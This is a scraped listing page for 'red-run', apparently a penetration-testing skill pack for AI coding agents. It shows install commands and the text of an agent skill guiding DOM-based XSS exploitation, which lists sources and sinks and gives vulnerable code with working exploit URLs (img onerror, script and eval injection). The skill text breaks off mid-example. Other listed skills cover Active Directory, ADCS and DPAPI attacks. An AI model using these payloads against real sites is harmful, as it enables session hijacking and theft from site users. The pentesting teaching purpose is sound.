acl-abuse
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner,…
Guide DOM-based XSS exploitation during authorized penetration testing.
Claude Code
$ npx -y skills add blacklanternsecurity/red-run --skill xss-dom --agent claude-code
Codex
$ npx skills add blacklanternsecurity/red-run --skill xss-dom -a codex -y
Cursor
$ npx skills add blacklanternsecurity/red-run --skill xss-dom -a cursor -y
Gemini CLI
$ npx skills add blacklanternsecurity/red-run --skill xss-dom -a gemini-cli -y
GitHub Copilot
$ npx skills add blacklanternsecurity/red-run --skill xss-dom -a github-copilot -y
OpenCode
$ npx skills add blacklanternsecurity/red-run --skill xss-dom -a opencode -y
Windsurf
$ npx skills add blacklanternsecurity/red-run --skill xss-dom -a windsurf -y
name: xss-dom description: > Guide DOM-based XSS exploitation during authorized penetration testing. keywords: - DOM XSS - DOM-based XSS - innerHTML injection - eval injection - document.write XSS - postMessage XSS - source and sink - client-side XSS - JavaScript DOM manipulation tools: - burpsuite - DOM Invader - domloggerpp - domdig opsec: low
You are helping a penetration tester exploit DOM-based cross-site scripting. The vulnerability exists entirely in client-side JavaScript — attacker-controlled data flows from a source (URL, cookie, postMessage, storage) to a dangerous sink (innerHTML, eval, document.write) without proper sanitization. The malicious payload never appears in the HTTP response from the server. All testing is under explicit written authorization.
Check for `./engagement/` directory. If absent, proceed without logging.
When an engagement directory exists:
descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).
Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:
Your return summary must include:
DOM XSS exists entirely in client-side JavaScript — **browser tools are essential** for this skill. The vulnerability cannot be detected or exploited without JavaScript execution.
data flow through JavaScript variables, check what sinks are reachable (e.g., `document.querySelectorAll('[innerHTML]')`, `document.querySelectorAll('script')`)
hash-based sources
cannot trigger source-to-sink flows
NOT sent to the server
domloggerpp (browser extension)
If not already provided, determine: 1. **Target page** — URL of the page with client-side JavaScript 2. **Suspected source** — where does attacker input enter the DOM? (URL hash, query param, cookie, postMessage, localStorage) 3. **Suspected sink** — where does the data get used unsafely?
Skip if context was already provided.
Sources are inputs an attacker can control. Check each one:
**URL-based sources:**
document.URL document.documentURI document.baseURI location // location.href, location.hash, location.search, location.pathname document.referrer
**Storage-based sources:**
document.cookie window.name // persists across cross-origin navigations! localStorage sessionStorage
**Message-based sources:**
// postMessage listener
window.addEventListener('message', function(e) { /* uses e.data unsafely */ })**How to find them:** Search the page's JavaScript for these patterns. In DevTools → Sources → Search (Ctrl+Shift+F):
location.hash location.search location.href document.URL document.referrer window.name postMessage addEventListener.*message localStorage.getItem sessionStorage.getItem document.cookie
Sinks are functions/properties where attacker data causes harm.
**HTML injection sinks** (most common for DOM XSS):
element.innerHTML = ... element.outerHTML = ... element.insertAdjacentHTML(...) document.write(...) document.writeln(...)
> `innerHTML` blocks `<script>` tags in modern browsers. Use `<img onerror>` instead.
**JavaScript execution sinks:**
eval(...) Function(...)() setTimeout(string, ...) setInterval(string, ...) setImmediate(string, ...)
**URL/navigation sinks:**
location = ... location.href = ... location.assign(...) location.replace(...) window.open(...)
**jQuery sinks:**
$(...) // selector injection $.html(...) $.append(...) $.prepend(...) $.after(...) $.before(...) $.parseHTML(...) $.globalEval(...)
Follow the data from source to sink through the JavaScript code.
**Example 1 — URL hash to innerHTML:**
// Vulnerable code
var content = location.hash.substring(1);
document.getElementById('output').innerHTML = content;
// Exploit (payload in URL fragment — not sent to server)
https://TARGET/page#<img src=x onerror=alert(document.domain)>**Example 2 — URL param to document.write:**
// Vulnerable code
var search = new URLSearchParams(location.search);
document.write('<h1>Results for: ' + search.get('q') + '</h1>');
// Exploit
https://TARGET/page?q=</h1><script>alert(document.domain)</script>**Example 3 — URL param to eval:**
// Vulnerable code
var config = location.search.substring(1);
eval('var settings = {' + config + '}');
// Exploit
https://TARGET/page?};alert(document.domain);//**Example 4 — postMessage to innerHTML:**
// V
Security assessment toolkit for Claude Code. red-run combines skills, MCP servers, and Claude Code agent teams with routing logic that guides Claude and the operator through the phases of a security assessment — recon, initial access, lateral movement,
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner,…
Enumerates Active Directory domains and maps attack surface for penetration testing.
Establishes persistent access in Active Directory environments after domain compromise. Covers DCShadow (rogue DC attribute…
Exploits ADCS through ACL abuse on templates/CA objects and NTLM relay to enrollment endpoints. Covers ESC4 (template ACL →…
Establishes persistence and exploits weak certificate mapping in AD CS. Covers ESC9 (no security extension), ESC10 (weak…
Exploits misconfigured AD CS certificate templates to impersonate any domain user via SAN manipulation or enrollment agent abuse.…
Use for authorized security assessment of REST, GraphQL, WebSocket, or SOAP APIs, including discovery, authentication,…
Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys)…
Clean and finalize authorized natural-language text intended for readers by auditing suspicious invisible Unicode and rewriting…